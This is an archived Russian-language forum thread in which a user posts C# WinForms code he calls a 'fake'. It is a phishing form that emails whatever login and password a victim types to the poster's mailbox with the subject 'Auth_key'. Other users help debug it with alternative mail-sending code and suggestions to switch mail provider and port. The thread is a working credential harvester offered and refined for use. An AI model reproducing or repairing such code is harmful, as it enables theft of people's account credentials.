PDA

Просмотр полной версии : [Подсказка] скажите


Коля11
31.03.2011, 00:18
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void Form1_Load(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // Здесь указываем смтп сервер и порт, который мы будем использовать
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "123456q"); // Указываем логин и пароль для авторизации

string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]"; // Указываем поле, от кого письмо
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]"; // Указываем поле, кому письмо будет отправлено
string msgSubject = "Auth_key"; // Указываем тему пиьсма

string msgBody = String.Format(textBox1.Text + ":" + textBox2.Text);

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);

try
{
client.Send(msg);
}
catch { }
}
}
}



вот код фэйка..я его тестил вводил логин и пароль,но на мыло нечего не приходит где я ошибсяФ???

S.e.n.s.o.R
31.03.2011, 00:25
string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";

Местами ящики махни

Коля11
31.03.2011, 00:36
string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";

Местами ящики махни

нечего не происходит=(

Relapsein
31.03.2011, 05:05
Попробуй этим способом :
SmtpMail.SmtpServer = "smtp.mail.ru";
MailMessage mailer = new MailMessage();
mailer.Fields["[Ссылки могут видеть только зарегистрированные и активированные пользователи]"] = 1;
mailer.Fields["[Ссылки могут видеть только зарегистрированные и активированные пользователи]"] = "login"; //login
mailer.Fields["[Ссылки могут видеть только зарегистрированные и активированные пользователи]"] = "pass"; //pass
mailer.Fields["[Ссылки могут видеть только зарегистрированные и активированные пользователи]"] = 2;
mailer.From = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
mailer.Body = "body";
mailer.Subject = "subject";
mailer.To = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
SmtpMail.Send(mailer);
Проект - Добавить ссылку ... ,
Ищешь и добавляешь System.Web , потом пихаешь в код : using System.Web.Mail;

Хам!!!
31.03.2011, 14:39
1.Заместо @mail.ru переделай на рамблер @rambler.ru
2. попробуй поменять порт на 587
З.Ы мне эти 2 пункта помогли)